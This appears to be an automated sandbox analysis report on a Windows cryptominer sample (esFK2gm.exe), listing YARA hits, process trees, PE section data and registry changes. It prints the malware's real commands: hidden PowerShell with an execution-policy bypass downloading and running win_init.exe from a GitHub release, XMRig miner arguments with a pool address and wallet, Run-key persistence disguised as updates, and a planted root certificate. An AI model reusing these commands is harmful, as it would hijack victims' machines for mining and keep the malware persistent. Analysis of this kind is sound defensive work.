Source: Process Memory Space: win_init.exe PID: 6092, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

Source: esFK2gm.exe	Static PE information: Number of sections : 15 > 10
Source: win_init.exe.5.dr	Static PE information: Number of sections : 15 > 10

Source: esFK2gm.exe, 00000000.00000002.2136754074.000000C000C00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamexmrig.exe, vs esFK2gm.exe
Source: esFK2gm.exe, 00000000.00000002.2131272483.000000C00014A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamexmrig.exe, vs esFK2gm.exe

Source: esFK2gm.exe	Static PE information: Section: /19 ZLIB complexity 0.9994562206725756
Source: esFK2gm.exe	Static PE information: Section: /32 ZLIB complexity 0.9961624528894473
Source: esFK2gm.exe	Static PE information: Section: /65 ZLIB complexity 0.9993740840254031
Source: esFK2gm.exe	Static PE information: Section: /78 ZLIB complexity 0.9914014862804879
Source: win_init.exe.5.dr	Static PE information: Section: /19 ZLIB complexity 0.9994562206725756
Source: win_init.exe.5.dr	Static PE information: Section: /32 ZLIB complexity 0.9961624528894473
Source: win_init.exe.5.dr	Static PE information: Section: /65 ZLIB complexity 0.9993740840254031
Source: win_init.exe.5.dr	Static PE information: Section: /78 ZLIB complexity 0.9914014862804879

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6032:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5596:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1552:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4584:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6608:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5500:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7096:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1732:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6988:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7052:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1856:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2296:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5216:120:WilError_03

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE ProcessId = 7076
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE ProcessId = 7076
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE ProcessId = 7076
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE ProcessId = 7076
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE ProcessId = 7076
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE ProcessId = 7076

Source: esFK2gm.exe	String found in binary or memory: _cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandonedgo package net: hostLookupOrder(chacha20poly1305: bad key lengthtls: unknown Renegotiation valuetls: NextProtos values too largemime: expected token after slashbufio: invalid use of UnreadBytebufio: tried to fill full bufferuse of closed network connection" not supported for cpu option "unexpected character, want coloned25519: bad public key length: x509: unsupported elliptic curvex509: invalid constraint value: x509: malformed subjectPublicKeyx509: cannot parse rfc822Name %qx509: ECDSA verification failurecrypto/aes: input not full blockcrypto/des: input not full blockcrypto/ecdh: invalid private keyinput overflows the modulus sizeinteger is not minimally encodedcannot represent time as UTCTimechacha20: invalid buffer overlapCryptAcquireCertificatePrivateKeyGetVolumeNameForVolumeMountPointWInitializeProcThreadAttributeListSetupDiGetDeviceRegistryPropertyWSetupDiSetDeviceRegistryPropertyWbytes.Buffer.Grow: negative countpseudo header field after regularhttp: invalid Read on closed Bodynet/http: skip alternate protocolinvalid header field value for %qpad size larger than data payloadframe_pushpromise_promiseid_shorthttp2: invalid pseudo headers: %vconnection not allowed by rulesetinvalid username/password versionunsupported transfer encoding: %qbytes.Reader.Seek: invalid whencerelease of handle with refcount 0too many levels of symbolic links142108547152020037174224853515625710542735760100185871124267578125reflect: slice index out of range of method on nil interface valuereflect: Field index out of rangereflect: array index out of range to pointer to array with length sync: RUnlock of unlocked RWMutexslice bounds out of range [%x:%y]base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocconcurrent map read and map writeruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanList.insert runtime: castogscanstatus oldval=stoplockedm: inconsistent lockingfindrunnable: negative nmspinningfreeing stack not in a stack spanstackalloc not on scheduler stackruntime: goroutine stack exceeds runtime: text offset out of rangetimer period must be non-negativetoo many concurrent timer firingsruntime: name offset out of rangeruntime: type offset out of rangego package net: confVal.netCgo = tls: failed to write to key log: tls: invalid server finished hashtls: unexpected ServerKeyExchangeskip everything and stop the walkempty hex number for chunk len
Source: esFK2gm.exe	String found in binary or memory: _cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandonedgo package net: hostLookupOrder(chacha20poly1305: bad key lengthtls: unknown Renegotiation valuetls: NextProtos values too largemime: expected token after slashbufio: invalid use of UnreadBytebufio: tried to fill full bufferuse of closed network connection" not supported for cpu option "unexpected character, want coloned25519: bad public key length: x509: unsupported elliptic curvex509: invalid constraint value: x509: malformed subjectPublicKeyx509: cannot parse rfc822Name %qx509: ECDSA verification failurecrypto/aes: input not full blockcrypto/des: input not full blockcrypto/ecdh: invalid private keyinput overflows the modulus sizeinteger is not minimally encodedcannot represent time as UTCTimechacha20: invalid buffer overlapCryptAcquireCertificatePrivateKeyGetVolumeNameForVolumeMountPointWInitializeProcThreadAttributeListSetupDiGetDeviceRegistryPropertyWSetupDiSetDeviceRegistryPropertyWbytes.Buffer.Grow: negative countpseudo header field after regularhttp: invalid Read on closed Bodynet/http: skip alternate protocolinvalid header field value for %qpad size larger than data payloadframe_pushpromise_promiseid_shorthttp2: invalid pseudo headers: %vconnection not allowed by rulesetinvalid username/password versionunsupported transfer encoding: %qbytes.Reader.Seek: invalid whencerelease of handle with refcount 0too many levels of symbolic links142108547152020037174224853515625710542735760100185871124267578125reflect: slice index out of range of method on nil interface valuereflect: Field index out of rangereflect: array index out of range to pointer to array with length sync: RUnlock of unlocked RWMutexslice bounds out of range [%x:%y]base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocconcurrent map read and map writeruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanList.insert runtime: castogscanstatus oldval=stoplockedm: inconsistent lockingfindrunnable: negative nmspinningfreeing stack not in a stack spanstackalloc not on scheduler stackruntime: goroutine stack exceeds runtime: text offset out of rangetimer period must be non-negativetoo many concurrent timer firingsruntime: name offset out of rangeruntime: type offset out of rangego package net: confVal.netCgo = tls: failed to write to key log: tls: invalid server finished hashtls: unexpected ServerKeyExchangeskip everything and stop the walkempty hex number for chunk len
Source: esFK2gm.exe	String found in binary or memory: ReadProcessMemory[%v : %x]: [%v] %vSubscribeServiceChangeNotificationshttp: server closed idle connectionCONTINUATION frame with stream ID 02006-01-02T15:04:05.999999999Z07:00strings.Reader.Seek: invalid whencecrypto/md5: invalid hash state sizenetwork dropped connection on resettransport endpoint is not connectedexecutable file not found in %PATH%1776356839400250464677810668945312588817841970012523233890533447265625ryuFtoaFixed32 called with prec > 9reflect.MakeSlice of non-slice typepersistentalloc: align is too large/memory/classes/heap/released:bytesgreyobject: obj not pointer-alignedmismatched begin/end of activeSweepmheap.freeSpanLocked - invalid freefailed to get or create weak handleattempt to clear non-empty span setruntime: close polldesc w/o unblockruntime: inconsistent read deadlineNtCreateWaitCompletionPacket failedfindrunnable: netpoll with spinningpidleput: P has non-empty run queuetraceback did not unwind completelyruntime: createevent failed; errno=unsupported signature algorithm: %vtls: too many non-advancing recordstls: server selected an invalid PSKtls: invalid Kyber server key sharemime: bogus characters after %%: %qhpack: invalid Huffman-encoded datadynamic table size update too largefile type does not support deadline'_' must separate successive digitshash/crc32: invalid hash state sizetoo many Questions to pack (>65535)bigmod: modulus is smaller than natx509: malformed extension OID fieldx509: wrong Ed25519 public key sizex509: invalid authority info accessmlkem768: invalid ciphertext lengthflate: corrupt input before offset P224 point is the point at infinityP256 point is the point at infinityP384 point is the point at infinityP521 point is the point at infinitysuperfluous leading zeros in lengthchacha20: output smaller than inputtransform: short destination bufferWriteProcessMemory[%v : %x]: [%v] %vjson: encoding error for type %q: %qhttp: unexpected EOF reading trailer LastStreamID=%v ErrCode=%v Debug=%qRoundTrip retrying after failure: %vno acceptable authentication methodsstrings.Builder.Grow: negative countstrings: Join output length overflowTime.UnmarshalBinary: invalid lengthbytes.Reader.ReadAt: negative offsetbytes.Reader.Seek: negative positionaccessing a corrupted shared libraryfailure to read data directories: %vfail to read section relocations: %vfail to read string table length: %v444089209850062616169452667236328125ryuFtoaFixed64 called with prec > 180123456789abcdefghijklmnopqrstuvwxyzmethod ABI and value ABI don't alignlfstack node allocated from the heap) is larger than maximum page size (key size not a multiple of key alignruntime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: VirtualQuery failed; errno=runtime: sudog with non-nil
Source: esFK2gm.exe	String found in binary or memory: ReadProcessMemory[%v : %x]: [%v] %vSubscribeServiceChangeNotificationshttp: server closed idle connectionCONTINUATION frame with stream ID 02006-01-02T15:04:05.999999999Z07:00strings.Reader.Seek: invalid whencecrypto/md5: invalid hash state sizenetwork dropped connection on resettransport endpoint is not connectedexecutable file not found in %PATH%1776356839400250464677810668945312588817841970012523233890533447265625ryuFtoaFixed32 called with prec > 9reflect.MakeSlice of non-slice typepersistentalloc: align is too large/memory/classes/heap/released:bytesgreyobject: obj not pointer-alignedmismatched begin/end of activeSweepmheap.freeSpanLocked - invalid freefailed to get or create weak handleattempt to clear non-empty span setruntime: close polldesc w/o unblockruntime: inconsistent read deadlineNtCreateWaitCompletionPacket failedfindrunnable: netpoll with spinningpidleput: P has non-empty run queuetraceback did not unwind completelyruntime: createevent failed; errno=unsupported signature algorithm: %vtls: too many non-advancing recordstls: server selected an invalid PSKtls: invalid Kyber server key sharemime: bogus characters after %%: %qhpack: invalid Huffman-encoded datadynamic table size update too largefile type does not support deadline'_' must separate successive digitshash/crc32: invalid hash state sizetoo many Questions to pack (>65535)bigmod: modulus is smaller than natx509: malformed extension OID fieldx509: wrong Ed25519 public key sizex509: invalid authority info accessmlkem768: invalid ciphertext lengthflate: corrupt input before offset P224 point is the point at infinityP256 point is the point at infinityP384 point is the point at infinityP521 point is the point at infinitysuperfluous leading zeros in lengthchacha20: output smaller than inputtransform: short destination bufferWriteProcessMemory[%v : %x]: [%v] %vjson: encoding error for type %q: %qhttp: unexpected EOF reading trailer LastStreamID=%v ErrCode=%v Debug=%qRoundTrip retrying after failure: %vno acceptable authentication methodsstrings.Builder.Grow: negative countstrings: Join output length overflowTime.UnmarshalBinary: invalid lengthbytes.Reader.ReadAt: negative offsetbytes.Reader.Seek: negative positionaccessing a corrupted shared libraryfailure to read data directories: %vfail to read section relocations: %vfail to read string table length: %v444089209850062616169452667236328125ryuFtoaFixed64 called with prec > 180123456789abcdefghijklmnopqrstuvwxyzmethod ABI and value ABI don't alignlfstack node allocated from the heap) is larger than maximum page size (key size not a multiple of key alignruntime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: VirtualQuery failed; errno=runtime: sudog with non-nil

Source: unknown	Process created: C:\Users\user\Desktop\esFK2gm.exe "C:\Users\user\Desktop\esFK2gm.exe"
Source: C:\Users\user\Desktop\esFK2gm.exe	Process created: C:\Windows\System32\notepad.exe --donate-level 2 -o 45.144.212.77:3333 -u 494k9WqKJKFGDoD9MfnAcjEDcrHMmMNJTUun8rYFRYyPHyoHMJf5sesH79UoM8VfoGYevyzthG86r5BTGYZxmhENTzKajL3 -k -p x --cpu-max-threads-hint=25
Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -s 30; Start-Process 'C:\Users\user\AppData\Roaming\win_init.exe' -WindowStyle Hidden"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -s 30; Start-Process 'C:\Users\user\AppData\Roaming\win_init.exe' -WindowStyle Hidden"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\esFK2gm.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "PID eq 7076"
Source: C:\Windows\System32\tasklist.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -s 30; Start-Process 'C:\Users\user\AppData\Roaming\win_init.exe' -WindowStyle Hidden"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -s 30; Start-Process 'C:\Users\user\AppData\Roaming\win_init.exe' -WindowStyle Hidden"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\esFK2gm.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "PID eq 7076"
Source: C:\Windows\System32\tasklist.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\sppsvc.exe C:\Windows\system32\sppsvc.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\win_init.exe "C:\Users\user\AppData\Roaming\win_init.exe"
Source: C:\Users\user\Desktop\esFK2gm.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "PID eq 7076"
Source: C:\Windows\System32\tasklist.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\win_init.exe "C:\Users\user\AppData\Roaming\win_init.exe"
Source: C:\Users\user\Desktop\esFK2gm.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "PID eq 7076"
Source: C:\Windows\System32\tasklist.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\esFK2gm.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "PID eq 7076"
Source: C:\Windows\System32\tasklist.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\esFK2gm.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "PID eq 7076"
Source: C:\Windows\System32\tasklist.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\esFK2gm.exe	Process created: C:\Windows\System32\notepad.exe --donate-level 2 -o 45.144.212.77:3333 -u 494k9WqKJKFGDoD9MfnAcjEDcrHMmMNJTUun8rYFRYyPHyoHMJf5sesH79UoM8VfoGYevyzthG86r5BTGYZxmhENTzKajL3 -k -p x --cpu-max-threads-hint=25	Jump to behavior
Source: C:\Users\user\Desktop\esFK2gm.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "PID eq 7076"	Jump to behavior
Source: C:\Users\user\Desktop\esFK2gm.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "PID eq 7076"	Jump to behavior
Source: C:\Users\user\Desktop\esFK2gm.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "PID eq 7076"	Jump to behavior
Source: C:\Users\user\Desktop\esFK2gm.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "PID eq 7076"	Jump to behavior
Source: C:\Users\user\Desktop\esFK2gm.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "PID eq 7076"	Jump to behavior
Source: C:\Users\user\Desktop\esFK2gm.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "PID eq 7076"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -s 30; Start-Process 'C:\Users\user\AppData\Roaming\win_init.exe' -WindowStyle Hidden"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\win_init.exe "C:\Users\user\AppData\Roaming\win_init.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -s 30; Start-Process 'C:\Users\user\AppData\Roaming\win_init.exe' -WindowStyle Hidden"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\win_init.exe "C:\Users\user\AppData\Roaming\win_init.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior

Source: esFK2gm.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x2a9e00
Source: esFK2gm.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x2b9400

Source: esFK2gm.exe	Static PE information: section name: .xdata
Source: esFK2gm.exe	Static PE information: section name: /4
Source: esFK2gm.exe	Static PE information: section name: /19
Source: esFK2gm.exe	Static PE information: section name: /32
Source: esFK2gm.exe	Static PE information: section name: /46
Source: esFK2gm.exe	Static PE information: section name: /65
Source: esFK2gm.exe	Static PE information: section name: /78
Source: esFK2gm.exe	Static PE information: section name: /90
Source: esFK2gm.exe	Static PE information: section name: .symtab
Source: win_init.exe.5.dr	Static PE information: section name: .xdata
Source: win_init.exe.5.dr	Static PE information: section name: /4
Source: win_init.exe.5.dr	Static PE information: section name: /19
Source: win_init.exe.5.dr	Static PE information: section name: /32
Source: win_init.exe.5.dr	Static PE information: section name: /46
Source: win_init.exe.5.dr	Static PE information: section name: /65
Source: win_init.exe.5.dr	Static PE information: section name: /78
Source: win_init.exe.5.dr	Static PE information: section name: /90
Source: win_init.exe.5.dr	Static PE information: section name: .symtab

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFB9AB2473D push E85AFB4Ah; ret	5_2_00007FFB9AB247F9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFB9AB247AD push E85AFB4Ah; ret	5_2_00007FFB9AB247F9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FFB9AB23783 pushad ; ret	9_2_00007FFB9AB23791

Source: C:\Users\user\Desktop\esFK2gm.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior
Source: C:\Users\user\Desktop\esFK2gm.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior

Source: C:\Users\user\Desktop\esFK2gm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WinUpdate cmd /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\user\AppData\Roaming\win_init.exe'"			Jump to behavior
Source: C:\Users\user\Desktop\esFK2gm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SystemUpdate cmd /c start /min powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -s 30; Start-Process 'C:\Users\user\AppData\Roaming\win_init.exe' -WindowStyle Hidden"			Jump to behavior

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report esFK2gm.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Bitcoin Miner

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
esFK2gm.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592831
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592643
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592453
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592159
